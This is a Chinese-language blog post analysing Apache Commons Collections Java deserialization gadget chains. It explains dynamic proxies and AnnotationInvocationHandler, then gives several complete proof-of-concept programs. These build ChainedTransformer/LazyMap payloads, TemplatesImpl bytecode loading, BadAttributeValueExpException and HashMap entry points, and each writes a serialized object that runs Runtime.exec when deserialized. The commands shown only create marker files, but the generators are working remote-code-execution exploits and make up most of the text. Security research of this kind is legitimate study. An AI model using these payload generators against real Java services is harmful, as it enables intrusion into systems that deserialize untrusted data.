CommonCollection1分析

前置知识

  1. java反序列化
  2. java动态代理机制

java动态代理

想象一个场景,如果我们有一个展示图片的功能,可以展示大图,缩略图和小图,而我们需要在展示图片的时候加上我们自己的水印,代码应该是这样:

package flight.proxy.askldfjlasdk;

public class Shop {
    public void bigPic(){ 
        System.out.println("添加水印");
        System.out.println("show bigPic");
    }
    public void smallPic(){
        System.out.println("添加水印");
        System.out.println("show smallPic");
    }
    public void thumbnail(){
        System.out.println("添加水印");
        System.out.println("show thumbnail");
    }
}

这里只有3个方法,我们可以复制三次,达到我们要的效果,但是如果我们需要为很多个方法添加水印,我们需要另外一种方式来达到我们要的效果。

这个时候就可以使用代理机制,不去直接执行提供提供服务的类的方法,而是创建一个代理来代替客户端去执行方法,而代理在执行方法之前或者执行之后都可以添加一些额外的方法

InvocationHandler

这是java提供的一个接口,用来实现动态代理机制,代理类可以通过实现接口的invoke方法来添加额外的方法

package flight.proxy.askldfjlasdk;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class MyProxy implements InvocationHandler {
    Object target;
    public MyProxy(Object target){
        this.target = target;
    }
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("添加水印");
        Object result = method.invoke(target, args);
        return result;
    }
}

在invoke方法中通过反射调用实际提供服务的类的方法
详细请见:https://juejin.im/post/5c1ca8df6fb9a049b347f55c#heading-6

CommonCollections1反序列化链

反射执行命令

最终执行的地方是Transform接口的transform方法,看一下哪些类实现了transform方法


image.png

进入InvokerTransformer,看一下实现的transform函数:


image.png

image.png

可以看到,方法名,参数类型,参数都是构造方法中传入的,所以在反序列化的时候,这些变量是我们可控的

寻找调用transform的地方

image.png

可以看到在LazyMap的get方法中调用了transform,我们要找一个对象调用了transform方法,而且这个对象可以是我们构造的InvokerTransformer对象


image.png

要想调用到transform,我们要满足两个条件:

  1. map中不包含为key的键值对
  2. factory变量我们可控
image.png

map和factory我们都可控,所以LazyMap的get方法可以利用,然后接下来我们需要找一个调用了get的可控变量

动态代理化腐朽为神奇

想要找到通过readObject调用到get的类没有找到,这个利用链的作者使用了一种非常秀的方法,做到了RCE

现在将目光放到sun.reflect.annotation.AnnotationInvocationHandler这个类中,这个类实现了readObject,也就以为着我们可以将这个类作为我们的反序列化的起点

image.png

这个类中的memberValues是我们可控的


image.png

但是在readObject中并没有可以调用get的地方,我们需要另外想办法,但是这里只有一个可控变量也就是memberValues调用了entrySet,好像没有任何办法调用到get方法

但是这个类很特殊,可以看到这个类是实现了InvocationHandler这个接口的,这样就以为着,这个类可以作为代理类。

image.png

来看看这个类的invoke方法


image.png

在switch的default块中,this.memberValues我们可控而且调用了get方法,简直完美,这样我们的Gadgets就完成了,接下来就是poc的构造

梳理一下反序列化的步骤:

  1. 反序列化调用到AnnotationInvocationHandler的readObject方法,设置this.memberValues为一个LazyMap的代理类同样是AnnotationInvocationHandler
  2. 在执行到this.memberValues.entrySet().iterator()的时候,因为this.memberValues为代理类,所以转而执行LazyMap代理类AnnotationInvocationHandler的invoke方法
  3. 在default代码块的时候调用了LazyMap的get方法
  4. 使用ChainedTransformer来达到RCE的效果

poc构造

构造transform chain

再来分析一下上面的反射调用,会发现有一个问题:


image.png

这里的可以调用输入类的任意一个方法,但是只能调用一次

回忆一下我们再java中执行命令的写法:
Runtime.getRuntime().exec("ls"):

这里首先我们需要获取到Runtime对象,然后调用getRuntime(),然后再调用exec方法

而如果我们只用一次transform,只能调用一个方法,所以我们需要找一个能将返回值再作为参数传入transform方法的地方,来看下ChainedTransformer

image.png

iTransformers我们可控,成功形成了一系列的调用链,但是这里有一点要注意,Runtime类是一个特殊的类,不可以被当作参数传递,我们只能通过getRuntime来获取Runtime对象

再来梳理一遍执行命令的流程:

  1. 传入Runtime.class
  2. 获取java.lang.Class的getMethod方法,并且调用getMethod方法获取getRuntime方法
  3. 通过getRuntime方法对象获取Method类,获取Method类的invoke方法,调用invoke返回Runtime对象
  4. 调用Runtime.class类的exec方法执行命令

需要第一个传入Runtime.class,所以我们使用ConstantTransformer,这个类的transform函数直接返回对象

所以构造transform链:

        ConstantTransformer transform1 = new ConstantTransformer(Runtime.class);
//        Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class)
//        System.out.println(method);
        InvokerTransformer transform2 = new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime",null});
        InvokerTransformer transform3 = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                new Object[]{null, null});
        InvokerTransformer transform4 = new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]{"touch /tmp/commonsuccess"});
//        Runtime.getRuntime().exec("ls");
        Transformer[] transformers = new Transformer[]{
                transform1,
                transform2,
                transform3,
                transform4
        };
        Map map = new HashMap();
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

之后设置LazyMap的factory为ChainTransform,现在只要调用LazyMap的get方法即可执行命令

现在实例化两个AnnotationInvocationHandler,一个作为反序列化的入口,一个作为Map的代理类

        InvocationHandler annotationInvocationHandler = (InvocationHandler)ctor.newInstance(Override.class, lazyMap);
        InvocationHandler invocationHandler = (InvocationHandler)ctor.newInstance(Override.class,
                Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), annotationInvocationHandler));

这里需要通过反射来实例化这个类,将代理的AnnotationInvocationHandler作为memberValues,再调用entrySet的时候会跳到代理类的invoke方法中,在invoke中调用get方法触发LazyMap的get,达到RCE

最终的exp:

import javafx.scene.transform.Transform;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class Poc {
    public static void main(String[] args) throws Exception{
        ConstantTransformer transform1 = new ConstantTransformer(Runtime.class);
//        Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class)
//        System.out.println(method);
        InvokerTransformer transform2 = new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime",null});
        InvokerTransformer transform3 = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                new Object[]{null, null});
        InvokerTransformer transform4 = new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]{"touch /tmp/commonsuccess"});
//        Runtime.getRuntime().exec("ls");
        Transformer[] transformers = new Transformer[]{
                transform1,
                transform2,
                transform3,
                transform4
        };
        Map map = new HashMap();
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        String clazzName = "sun.reflect.annotation.AnnotationInvocationHandler";
        Constructor ctor = Class.forName(clazzName).getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        InvocationHandler annotationInvocationHandler = (InvocationHandler)ctor.newInstance(Override.class, lazyMap);
        InvocationHandler invocationHandler = (InvocationHandler)ctor.newInstance(Override.class,
                Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), annotationInvocationHandler));
        FileOutputStream fileOutputStream = new FileOutputStream("poc.obj");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(invocationHandler);
    }
}

CommonCollection 4.0 LazyMap exp


import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.AbstractIterableMap;
import org.apache.commons.collections4.map.LazyMap;

import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class Poc {
    public static void main(String[] args) throws Exception{
        ConstantTransformer transform1 = new ConstantTransformer(Runtime.class);
//        Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class)
//        System.out.println(method);
        InvokerTransformer transform2 = new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime",null});
        InvokerTransformer transform3 = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                new Object[]{null, null});
        InvokerTransformer transform4 = new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]{"touch /tmp/woaiwojia"});
//        Runtime.getRuntime().exec("ls");
        Transformer[] transformers = new Transformer[]{
                transform1,
                transform2,
                transform3,
                transform4
        };
        Map map = new HashMap();
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map lazyMap = LazyMap.lazyMap(map, chainedTransformer);

        String clazzName = "sun.reflect.annotation.AnnotationInvocationHandler";
        Constructor ctor = Class.forName(clazzName).getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        InvocationHandler annotationInvocationHandler = (InvocationHandler)ctor.newInstance(Override.class, lazyMap);
        Map pocMap = (Map)Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getSuperclass().getSuperclass().getInterfaces(), annotationInvocationHandler);
        InvocationHandler invocationHandler = (InvocationHandler)ctor.newInstance(Override.class, pocMap);
        FileOutputStream fileOutputStream = new FileOutputStream("poc5.obj");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(invocationHandler);
    }
}

CommonCollection 3.1 TrAXFilter加载字节码exp

package poc.common3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;

public class Poc2 {
    public static void main(String[] args) throws Exception{
        // get the exploit class byte code
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.get("poc.common3.Exploit");
        byte[][] bytes = new byte[1][ctClass.toBytecode().length];
        bytes[0] = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        Field bytecode = TemplatesImpl.class.getDeclaredField("_bytecodes");
        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "hack");
        bytecode.setAccessible(true);
        bytecode.set(templates, bytes);

        ConstantTransformer transformer1 = new ConstantTransformer(TrAXFilter.class);
        InstantiateTransformer transformer2 = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                transformer1,
                transformer2
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map hashMap = new HashMap();
        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

        Class readObjectClazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = readObjectClazz.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        InvocationHandler proxyInvocationHandler = (InvocationHandler)constructor.newInstance(Override.class, lazyMap);
        InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class,
                Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), proxyInvocationHandler));
        FileOutputStream fileOutputStream = new FileOutputStream("poc2.obj");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(invocationHandler);

    }
}

// Exploit.java
package poc.common3;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Exploit extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("touch /tmp/bytecodesucc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

CommonCollection 3.1 BadAttributeValueExpException入口 exp

package poc.common3;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Common5 {
    public static void main(String[] args) throws Exception{
        ConstantTransformer transform1 = new ConstantTransformer(Runtime.class);
//        Runtime.class.getClass().getMethod("getMethod", String.class, Class[].class)
//        System.out.println(method);
        InvokerTransformer transform2 = new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime",null});
        InvokerTransformer transform3 = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                new Object[]{null, null});
        InvokerTransformer transform4 = new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]{"touch /tmp/tostringsucc"});
//        Runtime.getRuntime().exec("ls");
        Transformer[] transformers = new Transformer[]{
                transform1,
                transform2,
                transform3,
                transform4
        };
        Map map = new HashMap();
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = BadAttributeValueExpException.class.getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, tiedMapEntry);
        FileOutputStream fileOutputStream = new FileOutputStream("poc3.obj");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(badAttributeValueExpException);
    }
}

CommonCollection 3.1 HashMap入口 exp

package poc.common3;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class Common6 {
    public static void main(String[] args) throws Exception{
        ConstantTransformer transform1 = new ConstantTransformer(Runtime.class);
        InvokerTransformer transform2 = new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime",null});
        InvokerTransformer transform3 = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                new Object[]{null, null});
        InvokerTransformer transform4 = new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]{"touch /tmp/common6succ"});
        Transformer[] transformers = new Transformer[]{
                transform1,
                transform2,
                transform3,
                transform4
        };
        Map map = new HashMap();
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "lkjaldksfj");
        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"hack");
        Field field = TiedMapEntry.class.getDeclaredField("map");
        field.setAccessible(true);
        field.set(tiedMapEntry, lazyMap);


        FileOutputStream fileOutputStream = new FileOutputStream("poc4.obj");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(hashMap);
    }
}

你可能感兴趣的:(CommonCollection1分析)